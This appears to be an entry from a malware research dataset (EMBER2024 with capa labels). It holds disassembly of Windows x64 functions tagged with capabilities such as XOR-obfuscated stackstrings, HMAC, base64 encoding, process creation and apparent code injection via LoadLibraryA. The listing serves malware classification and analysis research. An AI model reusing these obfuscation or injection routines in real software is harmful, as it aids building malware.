joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140072b10
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str.6D_a_]
mov rdi, rax
test rax, rax
jne 0x140072b52
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140072b99
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140072bf2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140072bb0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140072c33
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400853fa]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400853fb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140072c00
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140072cb4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140072cee
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140072cf3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140072d3c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140072d3c
dec r8
sub rdx, 1
jne 0x140072d22
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400740a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400740ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400740ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400740ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400740ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400740ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400740f0
xor al, al
add rsp, 0x28
ret
Function at 0x14007e670
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
movdqa xmm0, xmmword [0x140284140]
xor eax, eax
movdqa xmm1, xmmword [str._4_9__n_n]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x140284060]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x140284660]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x1402846b0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1402845b0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140284560]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140284510]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140284480]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1402843b0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1402843a0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x1402842d0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x1402842c0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x140284250]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x140284260]
movdqa xmmword [rbp], xmm0
mov byte [0x1405d3e08], 0
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], 0x584e5c52
mov word [rbp + 0x14], 0x56
mov byte [rbp + 0x16], 1
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x4a]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0xf5
jb 0x14007e770
mov byte [rbp + 0x16], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007e792
lea rdx, [rsp + 0x20]
lea rcx, [0x1405d1770]
call fcn.140086e70
add rsp, 0x120
pop rbp
ret

Function at 0x14007ed00
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x1405d3e88]
mov rbx, r9
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007ed86
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r9, [rsp + 0x58]
mov r8d, 0x29
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0x70
pop rbx
ret
Function at 0x14007eda0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x1405d3e88]
mov edi, r8d
dec rax
mov rbx, rcx
cmp rax, 0xfffffffffffffffd
ja 0x14007eeea
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
mov qword [r11 - 0x20], rsi
xor esi, esi
mov qword [rbp + 0x1b], rsi
mov dword [rbp + 0x23], esi
mov qword [r11 - 0x28], r14
mov dword [rbp - 1], 0xc8
mov dword [rbp + 3], eax
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0x17], r8d
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov dword [rbp - 0x25], eax
mov qword [rbp - 0x21], rcx
mov dword [rbp - 0x15], 0x40
mov dword [rbp - 0x19], r8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r14, [0x1405d3e98]
lea r9, [rbp + 0x27]
mov dword [rbp - 0x11], eax
lea r8d, [rsi + 0x29]
mov qword [rbp - 9], r14
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x1405d3e88]
lea r9, [rbp + 0x2b]
lea r8d, [rsi + 0x28]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [0x1405d3e88]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007eeda
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
mov dword [rbp - 0x25], eax
mov eax, dword [0x1405d3e98]
mov dword [rbp - 0x15], eax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov qword [rbp - 0x21], rbx
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r9, [rbp + 0x27]
lea r8d, [rsi + 0x29]
mov dword [rbp - 0x11], eax
lea rdx, [rbp - 0x29]
mov qword [rbp - 9], r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rsi, qword [rsp + 0x98]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret

Function at 0x14007ef10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x268], rax
mov rax, qword [0x1405d3e88]
mov rbx, rcx
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007efdb
xor edx, edx
mov qword [rsp + 0x30], 0
mov r8d, 0x210
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1405d3e80]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0x258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x248], eax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x250], rax
inc r8
cmp byte [rbx + r8], 0
jne 0x14007ef90
inc r8
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [0x1405d3e88]
lea r9, [rsp + 0x260]
mov r8d, 0x219
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x30]
jmp 0x14007efdd
xor eax, eax
mov rcx, qword [rsp + 0x268]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0x270
pop rbx
ret
Function at 0x14007f860
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp + 0x37], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov dword [rbp + 0x3f], 0x210f3f04
mov dword [rbp + 0x43], 0x353c21
mov byte [rbp + 0x47], 1
xor ecx, ecx
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [rbp + rcx + 0x3f], al
inc rcx
cmp rcx, 7
jb 0x14007f8b0
mov byte [rbp + 0x47], 0
movdqa xmm0, xmmword [0x140283fa0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
lea rax, [rbp + 0x3f]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007f8e0
lea rdx, [rbp + 0x3f]
lea rcx, [rbp + 7]
call fcn.140086e70
nop
mov dword [rbp - 9], 0x233e2e21
mov dword [rbp - 5], 0x3032232b
mov dword [rbp - 1], 0x317a3621
mov dword [rbp + 3], 0x1003b3a
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [rbp + rcx - 9], al
inc rcx
cmp rcx, 0xe
jb 0x14007f920
mov byte [rbp + 6], 0
lea rdx, [rbp - 9]
lea rcx, [rbp + 0x27]
call fcn.14007f210
mov rdi, rax
mov qword [rbp + 0x3f], 0
lea r8, [rbp + 7]
lea rdx, [rbp + 0x3f]
mov rcx, rax
call fcn.14008b1c0
mov rbx, qword [rbp + 0x3f]
cmp rbx, qword [rdi]
je 0x14007f9b8
lea rdx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x14007f974
mov rdx, qword [rbx + 0x20]
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
mov r14, qword [rbx + 0x30]
mov rsi, qword [rbp + 0x17]
mov r8, rsi
cmp r14, rsi
cmovb r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007f9b1
cmp rsi, r14
jae 0x14007f9a9
mov eax, 0xffffffff
jmp 0x14007f9b1
xor eax, eax
cmp rsi, r14
seta al
shr eax, 0x1f
test al, al
je 0x14007f9e8
lea rax, [rbp + 7]
mov qword [rbp + 0x3f], rax
lea r8, [rbp + 0x3f]
mov rcx, rdi
call fcn.14008b280
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x3f]
mov rcx, rdi
call fcn.14008b2d0
mov rbx, qword [rbp + 0x3f]
mov rbx, qword [rbx + 0x40]
mov r9, qword [rbp + 0x27]
mov r8, qword [r9]
lea rdx, [rbp + 0x3f]
lea rcx, [rbp + 0x27]
call fcn.140087140
mov edx, 0x48
mov rcx, qword [rbp + 0x27]
call fcn.1401e65d4
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x14007fa4d
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007fa48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007fa48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401e65d4
mov rax, rbx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1401e65b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14007fa80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x3358]
mov eax, 0x3458
call fcn.1401e6fb0
sub rsp, rax
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x3340], rax
mov r15, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp + 0x2f40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x140283880]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14007faef
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r8, [rax + 1]
jmp 0x14007faf2
mov r8, rdi
lea rcx, [rbp + 0x2f40]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14007fb00
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14007fb10
lea rcx, [rbp + 0x2f40]
call fcn.14007ef10
mov rbx, rax
test rax, rax
jne 0x14007fd1f
mov qword [rsp + 0x3490], rsi
mov dword [rsp + 0x20], 0x21283f24
mov dword [rsp + 0x24], 0x3d346122
mov word [rsp + 0x28], 0x3e
mov byte [rsp + 0x2a], 1
nop dword [rax]
lea ecx, [rax + 0x4a]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 9
jb 0x14007fb60
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2a], 0
call fcn.14007ef10
mov rsi, rax
test rax, rax
je 0x14007fd14
mov rcx, r15
mov qword [rsp + 0x3450], r14
call fcn.140089180
mov r14, rax
test rax, rax
je 0x14007fd0c
mov rbx, 0xffffffffffffffff
add rsi, 0x1000
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14007fbc0
lea rax, [rsi + 1]
mov rdx, rsi
add rax, rcx
lea rcx, [rbp + 0xf30]
mov qword [rbp + 0x1f30], rax
call fcn.140089220
mov rdx, rax
lea rcx, [rsp + 0x30]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f40]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1405d13e3], rax
mov qword [0x1405d13b8], r15
mov qword [0x1405d13c2], r14
mov qword [0x1405d13d9], rsi
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14007fc33
lea r8d, [rbx + 1]
mov rdx, rdi
mov rcx, rsi
call fcn.14007eda0
mov rcx, qword [rbp + 0x1f30]
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov r8d, WSASetLastError
call fcn.14007eda0
mov ecx, 4
call fcn.1401e6a00
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 4]
call fcn.14007ed00
mov r8d, 8
lea rdx, [rbp + 0x1f30]
mov rcx, r15
call fcn.14007eda0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x1b58]
nop word [rax + rax]
lea rcx, [rbp + 0x2f40]
call fcn.14007ef10
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x14007fcd9
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14007fcb0
mov ecx, 4
call fcn.1401e6a00
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 6]
call fcn.14007ed00
mov r8d, 0x1000
lea rdx, [rbp + 0x1f40]
mov rcx, rsi
call fcn.14007eda0
mov r14, qword [rsp + 0x3450]
mov rsi, qword [rsp + 0x3490]
mov rax, rbx
mov rcx, qword [rbp + 0x3340]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0x3458
pop r15
pop rdi
pop rbx
pop rbp
ret
Function at 0x140080470
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1c], 0
je 0x140080493
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1b
jb 0x140080480
mov byte [rcx + 0x1c], 0
mov rax, rcx
ret
Function at 0x140080e40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x140080e63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x140080e50
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x140080e70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x140080e93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x140080e80
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x140080ea0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x140080ec3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x140080eb0
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret
Function at 0x140080ed0
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov qword [r11 - 0x70], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, rdx
mov rsi, rcx
mov qword [r11 - 0x68], rcx
xor r15d, r15d
mov dword [r11 - 0x78], r15d
mov dword [r11 - 0x60], r15d
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], r15b
xor r8d, r8d
lea rdx, [0x140282981]
call fcn.140086e70
mov dword [rsp + 0x30], 1
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140080f41
test ebx, ebx
je 0x1400810af
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, ebx
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x140081015
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140084cd0
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rbp, qword [rsp + 0x50]
mov r9, rbp
mov r8d, 1
mov edx, ebx
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
nop dword [rax]
inc rdi
cmp byte [rdi + rbp], 0
jne 0x140080fc0
mov r8, rdi
mov rdx, rbp
mov rcx, rsi
call fcn.140086e70
nop
test rbp, rbp
je 0x140081015
mov rdx, qword [rsp + 0x60]
sub rdx, rbp
mov rax, rbp
cmp rdx, 0x1000
jb 0x14008100d
add rdx, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008100d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbp
call fcn.1401e65d4
mov rcx, rsi
call fcn.140086210
cmp rax, 0xffffffffffffffff
je 0x1400810af
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov r8d, 2
lea rdx, [0x140283884]
lea rcx, [rsp + 0x50]
call fcn.140086e70
nop
mov rcx, rsi
call fcn.140086210
mov qword [rsp + 0x20], r15
mov r8, qword [rsp + 0x60]
mov rdx, rax
mov rcx, rsi
call fcn.140086cb0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140081015
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140081010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140081010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, rsi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1401e65b0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140081380
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0xf0
pop rbx
ret

Function at 0x140081440
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [0x1402841f0]
xor eax, eax
movdqa xmm1, xmmword [str.35753_r]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0x1715131d
movdqu xmmword [rsp + 0x30], xmm1
mov word [rsp + 0x44], 0x100
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x4a]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x24
jb 0x140081490
movdqa xmm0, xmmword [0x140283fa0]
lea rax, [rsp + 0x20]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x45], 0
mov r8, 0xffffffffffffffff
mov byte [rsp + 0x48], 0
inc r8
cmp byte [rax + r8], 0
jne 0x1400814c4
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.140086e70
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movabs rax, 0x842108421084211
and r8d, 0x1f
mul r8
mov ecx, r8d
lea rax, [rsp + 0x48]
sub rcx, rdx
shr rcx, 1
add rcx, rdx
mov rdx, qword [rsp + 0x60]
shr rcx, 4
imul rcx, rcx, 0x1f
sub r8, rcx
mov rcx, qword [rsp + 0x48]
cmp rdx, 0x10
cmovae rax, rcx
movzx ebx, byte [rax + r8 + 1]
jb 0x14008155d
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140081558
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140081558
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401e65d4
movzx eax, bl
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1401e65b0
add rsp, 0x70
pop rbx
ret
Function at 0x140082780
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x1400827a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140082790
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x1400827b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x81], 0
je 0x1400827d8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x80
jb 0x1400827c0
mov byte [rcx + 0x81], 0
mov rax, rcx
ret
Function at 0x140082fc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc3], 0
je 0x140082fe8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc2
jb 0x140082fd0
mov byte [rcx + 0xc3], 0
mov rax, rcx
ret
Function at 0x140083460
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x140083483
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x140083470
mov byte [rcx + 0x18], 0
mov rax, rcx
ret

Function at 0x140083490
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4a], 0
je 0x1400834b3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x49
jb 0x1400834a0
mov byte [rcx + 0x4a], 0
mov rax, rcx
ret

Function at 0x1400834c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6f], 0
je 0x1400834e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x6e
jb 0x1400834d0
mov byte [rcx + 0x6f], 0
mov rax, rcx
ret
Function at 0x1400845a0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x40], 0
je 0x1400845c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3f
jb 0x1400845b0
mov byte [rcx + 0x40], 0
mov rax, rcx
ret

Function at 0x1400845d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5d], 0
je 0x1400845f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5c
jb 0x1400845e0
mov byte [rcx + 0x5d], 0
mov rax, rcx
ret

Function at 0x140084600
Capabilities:
Encode data using xor

